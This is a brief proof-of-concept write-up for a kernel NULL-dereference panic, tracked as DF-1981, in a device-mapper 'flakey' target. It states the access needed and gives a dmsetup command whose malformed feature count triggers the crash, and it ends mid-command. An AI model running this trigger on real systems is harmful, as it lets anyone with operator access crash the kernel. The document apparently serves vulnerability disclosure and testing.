# DF-1981 PoC — NULL-deref panic in _init_features via crafted flakey table

## Preconditions

Attacker can open `/dev/mapper/control` for writing (mode 0640 root:operator —
so root or any member of the `operator` group). A valid block device must
exist at argv[0] (e.g. `/dev/ada0`).

## Trigger

```sh
# Vector 1: simplest -- feature count 6 but only 1 feature token provided
dmsetup create vuln << 'EOF'
0 100 flakey /dev/ada0 0 1 1 6